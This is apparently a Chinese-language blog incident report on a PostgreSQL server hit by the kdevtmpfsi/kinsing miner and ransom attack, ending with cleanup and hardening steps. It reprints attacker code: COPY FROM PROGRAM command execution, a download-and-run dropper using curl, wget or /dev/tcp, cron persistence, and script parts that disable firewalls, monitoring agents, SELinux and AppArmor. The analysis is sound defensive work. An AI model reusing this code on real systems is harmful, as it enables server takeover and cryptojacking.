服务器被挖矿勒索病毒 kdevtmpfsi 入侵的复盘分析及解决方案

  • ~23.74K 字
  • 次阅读
  • 条评论
  1. 1. 异常发现
  2. 2. 复盘与分析
    1. 2.1. 进程
    2. 2.2. 入侵方式
    3. 2.3. 脚本分析
    4. 2.4. 二进制分析
      1. 2.4.1. 程序特征
      2. 2.4.2. kdevtmpfsi
      3. 2.4.3. kinsing
  3. 3. 解决方案

异常发现

11 月 8 日下午,有小伙伴告诉我某服务异常,表现为后端程序报错与 PostgreSQL 查询相关。由于使用了 CDN 且仅配置了 HTTP 服务监控告警,因此并未在第一时间收到异常告警。

通过 SSH 连接服务器,使用 htop 命令查看正在运行的所有进程,发现 /tmp/kdevtmpfsi 进程高占用,运行用户为 postgres

进程

尝试结束该可疑进程,发现该程序会在 1 分钟内再次启动,猜测配置了定时任务或存在守护程序。

在云计算平台查看资源监视,该病毒于 UTC 11-7 16:15(北京时间 11-8 0:15)左右开始运行。

资源监视

由于该病毒占用资源过多造成服务器性能下降,且位于 /tmp 目录下,因此对服务器进行重启以临时缓解。

重启服务器后连接 PostgreSQL 数据库发现所有的数据已被删除,同时入侵者创建了一个名为 readme_to_recover 的数据库,内容如下:

readme_to_recover

很显然,这是一个勒索病毒,病毒会针对 PostgreSQL 数据库进行入侵,同时利用服务器资源进行挖矿,造成服务器卡顿和服务崩溃。

入侵者的网站已在 archive.org 存档,链接 https://web.archive.org/web/20251108155042/https://2info.win/psg/,请谨慎访问

从服务器创建到被侵入仅 8 小时,好在还在部署阶段,没有重要数据(离谱

复盘与分析

本节列出的所有命令与脚本请勿运行,部分数据已进行脱敏处理

先贴一下事故服务器的情况:

  • Ubuntu 24.04 LTS,运行在 Oracle Cloud
  • 仅允许 SSH 密钥登录
  • 端口全开
  • 安装了宝塔面板,PostgreSQL 使用宝塔安装
  • PostgreSQL 允许所有地址使用密码连接,且未对 PG 的登录配置日志

不难看出这起事故的导火索(因为还在部署阶段就没太注意,我反思)

进程

病毒的二进制文件在重启后已被临时清除,为了弄清病毒的入侵和运作方式,我并没有对服务器进行任何操作和加固,而是维持原样运行,等待病毒再次出现。

不出意外,在 11 月 9 日的 0:14 左右,服务器 CPU 占用再次来到了 100%。

查看 /tmp 目录,存在两个二进制文件,如下:

/tmp目录

两个程序的所有者均为 postgres,其中 kdevtmpfsi 权限 700,创建时间 UTC 16:14;kinsing 权限 777 ,创建时间 UTC 16:11,略早于 kdevtmpfsi

同时,我下载了一份病毒样本备用:

样本

使用 ps -ef 命令查找两个进程,如下:

进程信息

从进程信息来看,kdevtmpfsi 的运行时间在增长(从 06:25:29 变为 06:26:17),而 kinsing 的运行时间在一段时间内几乎保持不变(为 00:00:04),二者的 PPID 均为 1

稍微熟悉 Linux 的小伙伴不难看出,kdevtmpfsi 持续占用 CPU 时间,为挖矿主程序;kinsing 占用 CPU 时间较少,为 kdevtmpfsi 的守护程序。同时,父进程 ID 为 1 说明二者原始父进程已经终止,转为孤儿进程,由 systemd 进程接管。

但不管怎么说,systemctl 又不是摆设,直接通过 sudo systemctl status <pid> 来查看启动链:

启动链

怎么和 postgres 进程一起启动了,再看看。

使用 sudo crontab -u postgres -l 命令查看 postgres 用户的定时任务:

定时任务

IP

该定时任务设置为每分钟执行一次,使用 wget 工具在静默模式(-q)下载至标准输出(-O -),并通过管道(|)传递给 sh 直接运行,将脚本的运行输出和系统邮件丢弃(> /dev/null 2>&1),以此实现执行信息的隐藏。

syslog 中查找相关进程的调用记录,只能找到定时任务相关的记录。

调用记录

但当我尝试访问该网址时出现 502 错误,只好暂时放弃。

入侵方式

使用 sudo last postgres 命令查看 postgres 用户的登录情况,发现输出为空,说明不是通过 postgres 系统用户的弱口令入侵的。同时,运行在 postgres 用户的服务只有 PostgreSQL。

只有一种可能了。

/www/server/pgsql/logs 目录找到了 PostgreSQL 的执行日志,在日志中发现了异常。

PG日志1

PG日志2

PG日志3

这份虽不完整的日志反映了服务器被侵入的全过程,可以将入侵者的操作分为 5 个步骤:

  1. 服务探测

    入侵者配置了自动工具,对某一特定 IP 段的服务器端口使用 nmap 工具进行扫描,查找符合 5432 端口开放的服务器,并尝试使用空凭证连接,确认 5432 端口上运行的是 PostgreSQL;

  2. 成功入侵

    入侵者通过爆破弱口令密码/无密码成功连接后,通过尝试访问不存在的数据库 bbbbbbb 和执行大量的 SELECT VERSION(); 来确保已经完成登录,并收集数据库信息以查找漏洞;

  3. 破坏数据库

    入侵者先列出所有数据库,再依次通过 information_schema.tables 获取表。对于每张表先从 information_schema.columns 获取列数,再使用 SELECT * FROM ... LIMIT 50 来读取表数据,读取后通过 DROP TABLE IF EXISTS ... CASCADE 彻底删除表信息,最终删除原有数据库并写入勒索信息;

  4. 提权

    入侵者创建了一个 pgg_superadmins 的超级管理员,随后尝试 ALTER USER postgres WITH NOSUPERUSER 命令来撤销 postgres 用户的超级管理员权限,但因为 postgres 为数据库的初始化用户而被阻止;

  5. 植入病毒

    PostgreSQL 的 COPY ... FROM PROGRAM 命令允许读取系统命令输出到表中,因此被入侵者用于执行脚本。

    1
    2
    3
    4
    5
    DROP TABLE IF EXISTS bwyeLzCF;
    CREATE TABLE bwyeLzCF(cmd_output text);
    COPY bwyeLzCF FROM PROGRAM 'echo ... | base64 -d | bash';
    SELECT * FROM bwyeLzCF;
    DROP TABLE IF EXISTS bwyeLzCF;

    入侵者使用新建的 pgg_superadmins 创建了一个临时表 bwyeLzCF ,表中仅有 cmd_output 一个类型为 text 的字段,用于承载脚本的输出。echo ... | base64 -d | bash 将 Base64 编码的脚本解码后立即运行,运行成功后删除表 bwyeLzCF 销毁痕迹。

对于核心脚本,Base64 解密后得到如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/bin/bash
pkill -f zsvc
pkill -f pdefenderd
pkill -f updatecheckerd

function __curl() {
read proto server path <<<$(echo ${1//// })
DOC=/${path// //}
HOST=${server//:*}
PORT=${server//*:}
[[ x"${HOST}" == x"${PORT}" ]] && PORT=80

exec 3<>/dev/tcp/${HOST}/$PORT
echo -en "GET ${DOC} HTTP/1.0\r\nHost: ${HOST}\r\n\r\n" >&3
(while read line; do
[[ "$line" == $'\r' ]] && break
done && cat) <&3
exec 3>&-
}

if [ -x "$(command -v curl)" ]; then
curl .../pg.sh|bash
elif [ -x "$(command -v wget)" ]; then
wget -q -O- .../pg.sh|bash
else
__curl http://.../pg2.sh|bash
fi

这段脚本在运行时会先通过 pkill 命令终止竞争程序,随后下载并运行脚本。入侵者为了能在缺失 curlwget 的环境中运行,甚至在 __curl 函数中直接通过 TCP 协议发送 HTTP 请求。

脚本分析

由于该脚本过长且具有风险性,在这里仅对部分片段进行分析。

  1. 入侵准备

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    # 关闭防火墙
    ufw disable
    iptables -F

    # 移除 root 用户的 SSH 密钥属性
    chattr -iae /root/.ssh/
    chattr -iae /root/.ssh/authorized_keys

    # 结束符合条件的进程(注意这里 postgres 的 o)
    for filename in /proc/*; do
    ex=$(ls -latrh $filename 2> /dev/null|grep exe)
    if echo $ex |grep -q "/tmp/.perf.c\|/var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew"; then
    result=$(echo "$filename" | sed "s/\/proc\///")
    kill -9 $result
    echo found $filename $result
    fi

    if echo $ex |grep -q "/usr/local/bin/postgres"; then
    cw=$(ls -latrh $filename 2> /dev/null|grep cwd)
    if echo $cw |grep -q "/tmp"; then
    result=$(echo "$filename" | sed "s/\/proc\///")
    kill -9 $result
    echo foundp $filename $result
    fi

    fi
    done

    # 针对性卸载阿里云与腾讯云监控
    if ps aux | grep -i '[a]liyun'; then
    curl http://update.aegis.aliyun.com/download/uninstall.sh | bash
    curl http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
    pkill aliyun-service
    rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
    rm -rf /usr/local/aegis*
    systemctl stop aliyun.service
    systemctl disable aliyun.service
    service bcm-agent stop
    yum remove bcm-agent -y
    apt-get remove bcm-agent -y
    elif ps aux | grep -i '[y]unjing'; then
    /usr/local/qcloud/stargate/admin/uninstall.sh
    /usr/local/qcloud/YunJing/uninst.sh
    /usr/local/qcloud/monitor/barad/admin/uninstall.sh
    fi

    # 关闭内核硬件监控 NMI Watchdog
    sudo sysctl kernel.nmi_watchdog=0
    echo '0' >/proc/sys/kernel/nmi_watchdog
    echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf

    # 按网络连接结束符合条件的进程(或其他挖矿程序)
    netstat -anp | grep ... | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
    pkill -f ...

    # 按特征进程结束符合条件的进程(或其他挖矿程序)
    ps aux | grep -v grep | grep ... | awk '{print $2}' | xargs -I % kill -9 %
    pgrep -f ... | xargs -I % kill -9 %

    # 删除其他挖矿程序
    rm -rf ...

    # 移除 Docker 中存在其他挖矿程序的容器和镜像
    docker ps | grep ... | awk '{print $1}' | xargs -I % docker kill %
    docker images -a | grep ... | awk '{print $3}' | xargs -I % docker rmi -f %

    # 禁用系统安全机制
    setenforce 0
    echo SELINUX=disabled >/etc/selinux/config
    service apparmor stop
    systemctl disable apparmor

    真阴啊.jpg

    脚本先关闭防火墙,随后卸载云监控软件以防止被发现,移除竞争程序避免与 kdevtmpfsi 抢占资源,最终禁用 SELinux 和 AppArmor 安全机制。

  2. 加载挖矿程序

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    # 针对不同架构下载对应的程序
    BIN_MD5="b3039abf2ad5202f4a9363b418002351"
    BIN_DOWNLOAD_URL="http://.../kinsing"
    BIN_DOWNLOAD_URL2="http://.../kinsing"
    BIN_NAME="kinsing"

    arch=$(uname -i)
    if [ $arch = aarch64 ]; then
    BIN_MD5="da753ebcfe793614129fc11890acedbc"
    BIN_DOWNLOAD_URL="http://.../kinsing_aarch64"
    BIN_DOWNLOAD_URL2="http://.../kinsing_aarch64"
    echo "arm executed"
    fi

    在下载前根据架构选择了对应的二进制下载地址,同时根据如下优先级确定了下载位置(该部分代码已省略):

    • /etc,该目录需要 root 权限

    • /tmp

    • /var/tmp

    • 创建临时目录 mktemp -d

    • /dev/shm

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    # 用于校验 MD5 的函数
    checkExists() {
    CHECK_PATH=$1
    MD5=$2
    sum=$(md5sum $CHECK_PATH | awk '{ print $1 }')
    retval=""
    if [ "$MD5" = "$sum" ]; then
    echo >&2 "$CHECK_PATH is $MD5"
    retval="true"
    else
    echo >&2 "$CHECK_PATH is not $MD5, actual $sum"
    retval="false"
    fi
    echo "$retval"
    }

    # 用于下载的函数
    download() {
    DOWNLOAD_PATH=$1
    DOWNLOAD_URL=$2
    if [ -L $DOWNLOAD_PATH ]
    then
    rm -rf $DOWNLOAD_PATH
    fi
    chmod 777 $DOWNLOAD_PATH
    $WGET $DOWNLOAD_PATH $DOWNLOAD_URL
    chmod +x $DOWNLOAD_PATH
    }

    # 检查文件是否存在,不存在则下载
    binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
    if [ "$binExists" = "true" ]; then
    echo "$BIN_FULL_PATH exists and checked"
    else
    echo "$BIN_FULL_PATH not exists"
    rm -rf $BIN_FULL_PATH
    download $BIN_FULL_PATH $BIN_DOWNLOAD_URL
    binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
    if [ "$binExists" = "true" ]; then
    echo "$BIN_FULL_PATH after download exists and checked"
    else
    echo "$BIN_FULL_PATH after download not exists"
    download $BIN_FULL_PATH $BIN_DOWNLOAD_URL2
    binExists=$(checkExists "$BIN_FULL_PATH" "$BIN_MD5")
    if [ "$binExists" = "true" ]; then
    echo "$BIN_FULL_PATH after download2 exists and checked"
    else
    echo "$BIN_FULL_PATH after download2 not exists"
    fi
    fi
    fi
  3. 运行和持久化

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    chmod 777 $BIN_FULL_PATH
    chmod +x $BIN_FULL_PATH
    SKL=pg $BIN_FULL_PATH

    crontab -l | sed '/#wget/d' | crontab -
    crontab -l | sed '/#curl/d' | crontab -
    crontab -l | grep -e "..." | grep -v grep
    if [ $? -eq 0 ]; then
    echo "cron good"
    else
    (
    crontab -l 2>/dev/null
    echo "* * * * * $LDR http://.../pg.sh | sh > /dev/null 2>&1"
    ) | crontab -
    fi

    先给目标二进制文件($BIN_FULL_PATH)赋予最高权限,确保可以被运行,随后向定时任务中加入一条每分钟执行一次的命令,以此完成持久化,这也是上文看到的加载在 postgres 用户的那条定时任务。

二进制分析

程序特征

使用 Radare2 查看二进制文件原始信息,结果如下:

二进制文件

特征 kdevtmpfsi kinsing
架构(arch) ARM aarch64 ARM aarch64
二进制类型(bintype) ELF ELF
大小(binsz) ~2.4MB ~6MB
开发语言(lang) C Go
静态链接(static)
符号表(stripped) 已剥离 已剥离
保护机制 NX 启用,无 RELRO、Canary 同左

使用 WinHex 查看 kdevtmpfsi 文件,不难找出 UPX 的特征

kdevtmpfsi

使用 UPX 脱壳后再次查看,结果如下:

脱壳后

与脱壳前不同,出现了如下内容:

1
2
compiler GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
relro: no -> partial

kdevtmpfsi

通过查找关键字符串 http 快速定位到门罗币相关内容:

1
2
3
4
5
6
7
8
9
10
11
12
[0x00402e00]> izz | grep -i "http"
18331 0x003e2b60 0x007e2b60 4 5 .rodata ascii http
18398 0x003e30f0 0x007e30f0 83 84 .rodata ascii -a, --algo=ALGO mining algorithm https://xmrig.com/docs/algorithms\n
18835 0x003efcb8 0x007efcb8 58 59 .rodata ascii no valid configuration found, try https://xmrig.com/wizard
20113 0x003fa478 0x007fa478 19 20 .rodata ascii https proxy request
20114 0x003fa490 0x007fa490 12 13 .rodata ascii http request
23162 0x00414058 0x00814058 5 6 .rodata ascii https
25219 0x0042ed70 0x0082ed70 16 17 .rodata ascii parse_http_line1
25224 0x0042edf0 0x0082edf0 16 17 .rodata ascii %s %s HTTP/1.0\r\n
29745 0x004511b0 0x008511b0 104 105 .rodata ascii not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/):\n
30005 0x00453698 0x00853698 437 438 .rodata ascii GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.\nCopyright (C) 2022 Free Software Foundation, Inc.\nThis is free software; see the source for copying conditions.\nThere is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A\nPARTICULAR PURPOSE.\nCompiled by GNU CC version 11.2.0.\nlibc ABIs: UNIQUE ABSOLUTE\nFor bug reporting instructions, please see:\n<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n
30991 0x0045dbd8 0x0085dbd8 120 121 .rodata ascii TLS generation counter wrapped! Please report as described in <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.\n

随后查找 monero\|xmr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[0x00402e00]> izz | grep -i "monero\|xmr"
18114 0x003e1180 0x007e1180 20 21 .rodata ascii cryptonight-monerov7
18117 0x003e11b8 0x007e11b8 20 21 .rodata ascii cryptonight-monerov8
18173 0x003e1547 0x007e1547 4 5 .rodata ascii lXMR
18174 0x003e1550 0x007e1550 6 7 .rodata ascii Monero
18187 0x003e1600 0x007e1600 27 28 .rodata ascii \e[43;1m\e[1;37m monero \e[0m
18310 0x003e27e0 0x007e27e0 415 416 .rodata ascii \n{\n "background": true,\n "donate-level": 0,\n "cpu": true,\n "colors": false,\n "opencl": false,\n "pools": [\n {\n "coin": "monero",\n "algo": null,\n "url": "xmr-eu1.nanopool.org",\n "user": "4...b",\n "pass": "mine",\n "tls": false,\n "keepalive": true,\n "nicehash": false\n }\n ]\n}\n
18315 0x003e2a08 0x007e2a08 5 6 .rodata ascii XMRig
18391 0x003e3030 0x007e3030 12 13 .rodata ascii XMRig 6.16.4
18396 0x003e3090 0x007e3090 33 34 .rodata ascii Usage: xmrig [OPTIONS]\n\nNetwork:\n
18398 0x003e30f0 0x007e30f0 83 84 .rodata ascii -a, --algo=ALGO mining algorithm https://xmrig.com/docs/algorithms\n
18415 0x003e3658 0x007e3658 72 73 .rodata ascii --donate-over-proxy=N control donate over xmrig-proxy feature\n
18460 0x003e4380 0x007e4380 43 44 .rodata ascii XMRig 6.16.4\n built on Jul 30 2023 with GCC
18597 0x003e5be8 0x007e5be8 34 35 .rodata ascii stratum+tcp://xmr-eu1.nanopool.org
18835 0x003efcb8 0x007efcb8 58 59 .rodata ascii no valid configuration found, try https://xmrig.com/wizard
18860 0x003f01b8 0x007f01b8 20 21 .rodata ascii donate.ssl.xmrig.com
18861 0x003f01d0 0x007f01d0 19 20 .rodata ascii donate.v2.xmrig.com
19355 0x003f4d70 0x007f4d70 5 6 .rodata ascii xmrig

该程序连接地址为 xmr-eu1.nanopool.org 的矿池,收益地址为 4...b

kinsing

接下来,我们来看看 kinsing 这个 Go 语言程序是如何实现进程守护的。

在 IDA 中先查找与 kdevtmpfsi 相关的字符串,但无法找到相关引用。

相关的字符串

再查找与命令执行相关的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[0x000789e0]> iz | grep -E "process|pid|exec|kill"
75 0x002a074c 0x002b074c 4 5 .rodata ascii Ppid
199 0x002a0a34 0x002b0a34 4 5 .rodata ascii kill
887 0x002a23d1 0x002b23d1 8 9 .rodata ascii \aos/exec
1086 0x002a2afa 0x002b2afa 8 9 .rodata ascii \aexecute
1608 0x002a3ef1 0x002b3ef1 10 11 .rodata ascii \t*exec.Cmd
2379 0x002a6201 0x002b6201 12 13 .rodata ascii \v*exec.Error
2873 0x002a7bf9 0x002b7bf9 13 14 .rodata ascii \fprocessFlags
3307 0x002a9902 0x002b9902 14 15 .rodata ascii Pid\njson:"pid"
3424 0x002aa07c 0x002ba07c 15 16 .rodata ascii *exec.ExitError
3523 0x002aa70f 0x002ba70f 15 16 .rodata ascii PpidWithContext
3675 0x002ab16c 0x002bb16c 16 17 .rodata ascii *process.Process
4588 0x002afaca 0x002bfaca 22 23 .rodata ascii *process.OpenFilesStat
4631 0x002afe42 0x002bfe42 22 23 .rodata ascii processCertsFromClient
4656 0x002b00b8 0x002c00b8 23 24 .rodata ascii *exec.prefixSuffixSaver
4680 0x002b0310 0x002c0310 23 24 .rodata ascii *process.MemoryInfoStat
4681 0x002b0329 0x002c0329 23 24 .rodata ascii *process.PageFaultsStat
4682 0x002b0342 0x002c0342 23 24 .rodata ascii *process.SignalInfoStat
4787 0x002b0d4e 0x002c0d4e 24 25 .rodata ascii processClientKeyExchange
4788 0x002b0d68 0x002c0d68 24 25 .rodata ascii processServerKeyExchange
4942 0x002b1d47 0x002c1d47 28 29 .rodata ascii \e*process.NumCtxSwitchesStat
5168 0x002b36f9 0x002c36f9 35 36 .rodata ascii "github.com/shirou/gopsutil/process
5233 0x002b4057 0x002c4057 22 23 .rodata ascii json:"pending_process"
5340 0x002b522a 0x002c522a 48 49 .rodata ascii /*struct { F uintptr; pw *os.File; c *exec.Cmd }
...

其中 exec.Cmd 是 Go 执行命令调用的函数,而 github.com/shirou/gopsutil 是 Python 中 psutil 的 Go 语言实现,用于获取系统信息,由此判断 kinsing 可能存在执行系统命令的行为。

emm…似乎弄复杂了,我们来看看有没有简单一些的方法。

我先将 kinsing 放在 ~/ 目录下,在 ubuntu 用户下使用 stracekinsing 及其子进程进行跟踪:

1
strace -f -e execve,kill,open,read,nanosleep -o log.txt ./kinsing

在一个新的终端中结束 kdevtmpfsi,等待 kinsing 将其再次启动:

1
pkill -f kdevtmpfsi

kdevtmpfsi 再次启动时结束 strace 跟踪,并在日志中查找 kinsing 执行的相关命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
$ cat log.txt | grep -E "kdevtmpfsi|execve|kill"

66871 execve("./kinsing", ["./kinsing"], 0xffffee10cf68 /* 22 vars */) = 0
66875 execve("./kinsing", ["./kinsing"], 0x40001f8240 /* 23 vars */) = 0
66879 <... read resumed>"Name:\tkinsing\nUmask:\t0002\nState:"..., 4096) = 1187
66879 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66879 read(7, "8816 (kdevtmpfsi) S 1 8816 8816 "..., 512) = 195
67160 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002783c0 /* 23 vars */) = 0
67160 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xb925af1d5e80 /* 23 vars */) = 0
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67160 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67160 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1170
67160 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67160 read(5, "67160 (pkill) R 66875 66868 6558"..., 2048) = 319
67160 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67160 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67160 kill(67125, SIGTERM) = -1 EPERM (Operation not permitted)
66878 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 56
66878 read(7, "8323 (kinsing) S 1 4560 4560 0 -"..., 512) = 205
66878 read(7, "67125 (kdevtmpfsi) S 1 67125 671"..., 512) = 183
67405 execve("/usr/bin/sh", ["sh", "-c", "pkill -f kdevtmpfsi"], 0x40002946c0 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>) = 0
67405 execve("/usr/bin/pkill", ["pkill", "-f", "kdevtmpfsi"], 0xbf12fcc0ee80 /* 23 vars */ <unfinished ...>
67405 <... execve resumed>) = 0
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(4, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 1024) = 1024
67405 read(5, "8323 (kinsing) S 1 4560 4560 0 -"..., 2048) = 205
67405 read(5, "67125 (kdevtmpfsi) S 1 67125 671"..., 2048) = 183
67405 read(5, "Name:\tkdevtmpfsi\nUmask:\t0077\nSta"..., 2048) = 1171
67405 read(5, "/tmp/kdevtmpfsi\0", 131072) = 16
67405 read(5, "67405 (pkill) R 66875 66868 6558"..., 2048) = 319
67405 read(5, "Name:\tpkill\nUmask:\t0002\nState:\tR"..., 2048) = 1190
67405 read(5, "pkill\0-f\0kdevtmpfsi\0", 131072) = 20
67405 kill(67125, SIGTERM) = -1 EPERM (Operation not permitted)
66877 read(10, "pkill: killing pid 67125 failed:"..., 32768) = 57
67408 execve("/usr/bin/sh", ["sh", "-c", "chmod +x /tmp/kdevtmpfsi33550091"...], 0x40002786c0 /* 23 vars */ <unfinished ...>
67408 <... execve resumed>) = 0
67408 execve("/usr/bin/chmod", ["chmod", "+x", "/tmp/kdevtmpfsi3355009150"], 0xb1ef30c68e90 /* 23 vars */) = 0
67409 execve("/usr/bin/sh", ["sh", "-c", "/tmp/kdevtmpfsi3355009150 &"], 0x4000278cc0 /* 23 vars */ <unfinished ...>
67409 <... execve resumed>) = 0
67410 execve("/tmp/kdevtmpfsi3355009150", ["/tmp/kdevtmpfsi3355009150"], 0xbf99e2dd4e90 /* 23 vars */ <unfinished ...>
67410 <... execve resumed>) = 0
66883 read(8, "67411 (kdevtmpfsi33550) S 1 6741"..., 512) = 287
66883 read(8, "Name:\tkdevtmpfsi33550\nUmask:\t000"..., 512) = 512
66883 read(8, "/tmp/kdevtmpfsi3355009150\0", 512) = 26
67416 +++ killed by SIGKILL +++
67415 +++ killed by SIGKILL +++
67414 +++ killed by SIGKILL +++

那么这个 /tmp/kdevtmpfsi3355009150 是怎么出现的呢,在日志中查找 http 连接相关信息:

1
2
3
4
5
6
7
8
9
10
$ cat log.txt | grep -E "http"

67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 72
67160 read(5, "/bin/sh\0-c\0wget -q -O - http://8"..., 131072) = 60
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39
67160 read(5, "wget\0-q\0-O\0-\0http://<ip_addr>"..., 131072) = 39

此时,kinsing 的逻辑已经水落石出,它的监控逻辑由四部分组成:

  1. 监控进程:通过 read 读取进程信息,检测 kdevtmpfsi 是否存在;
  2. 结束已存在的进程:通过 sh -c "pkill -f kdevtmpfsi" 命令,尝试结束已存在的 kdevtmpfsi 进程;
  3. 下载挖矿程序:若 kdevtmpfsi 不存在,则执行前文出现的初始化脚本下载挖矿程序到 /tmp 目录下,这里 kdevtmpfsi 带随机数后缀是因为目录下已存在不可读写的同名文件;
  4. 启动挖矿程序:通过 sh -c "/tmp/kdevtmpfsiXXXX &" 命令静默式启动挖矿程序。

回到 IDA 中,再次进行相关查找,发现先前被忽略掉的 /var/tmp/kdevtmpfsi 字符串在 main.minerRunningCheck 被引用:

字符串引用

main.minerRunningCheck 函数存在自身循环,那么基本上可以确定该函数就是进程守护的主要逻辑。

对该函数展开分析,发现该函数除自身循环外,还调用了 main.getMinerPidmain.isMinerRunningmain.minRun 等函数:

调用链

IDA

main.minRun 中找到了 strace 日志中出现的内容:

IDA

也发现 kinsing 还内置了一个下载运行工具:

IDA

一切都理清了。

解决方案

被删除的数据库无法恢复,只能通过备份还原

基于对侵入流程的复盘,我总结出如下解决方案:

请在执行前建立系统快照

  1. 删除可疑定时任务

    临时禁用定时任务以防止二次感染:

    1
    2
    3
    4
    sudo systemctl stop cron
    sudo systemctl stop crond
    sudo service cron stop
    sudo service crond stop

    编辑 postgres 用户的定时任务:

    1
    sudo crontab -u postgres -e

    随后再次查看定时任务,确保可疑项已被清除:

    1
    sudo crontab -u postgres -l
  2. 取消病毒文件的读写和执行权限

    1
    sudo chmod 000 /tmp/kdevtmpfsi /tmp/kinsing
  3. 终止相应进程

    1
    2
    sudo pkill -9 -f kinsing
    sudo pkill -9 -f kdevtmpfsi
  4. 删除病毒文件

    全盘查找文件名包含 kinsingkdevtmpfsi 的文件并删除

    1
    2
    sudo find / -name "*kdevtmpfsi*" -delete
    sudo find / -name "*kinsing*" -delete
  5. 重启服务器

    1
    sudo reboot
  6. 恢复属性保护

    1
    2
    3
    4
    5
    6
    sudo chattr +i /etc/passwd
    sudo chattr +i /etc/shadow
    sudo chattr +i /etc/group
    sudo chattr +i /etc/gshadow
    sudo chattr +i /etc/ssh/sshd_config
    sudo chattr +i /root/.ssh/authorized_keys
  7. 加固 PostgreSQL

    查找 postgresql.conf 是否存在如下项:

    1
    listen_addresses = '*'

    查找 pg_hba.conf 是否存在如下项:

    1
    2
    3
    4
    5
    host    all             all             0.0.0.0/0               md5
    host all all ::0/0 md5

    host all all 0.0.0.0/0 trust
    host all all ::0/0 trust

    如有,应立即修改或删除。例如仅允许 Docker 容器连接:

    1
    host    all             all             172.17.0.0/16           md5
  8. 加固服务器

    /tmp 目录进行加固:

    1
    sudo mount -o remount,noexec,nosuid,nodev /tmp

    建立防火墙规则(根据实际需求修改):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    # 允许已建立的连接
    sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

    # 允许本地回环
    sudo iptables -A INPUT -i lo -j ACCEPT

    # 允许SSH
    sudo iptables -A INPUT -p tcp --dport 22 -j ACCEPT

    # 保存并生效
    sudo service iptables save
    sudo systemctl enable iptables

    恢复 SELinux 或 AppArmor

    1
    2
    3
    4
    5
    6
    7
    # 对 SELinux 系统(CentOS/RHEL)
    sudo sed -i 's/SELINUX=disabled/SELINUX=permissive/' /etc/selinux/config

    # 对 AppArmor 系统(Ubuntu/Debian)
    sudo systemctl enable apparmor
    sudo systemctl start apparmor
    sudo systemctl reload apparmor
  9. 重启,再次观察验证

    1
    sudo reboot
赞助喵
非常感谢您的喜欢!
赞助喵
分享这一刻
让朋友们也来瞅瞅!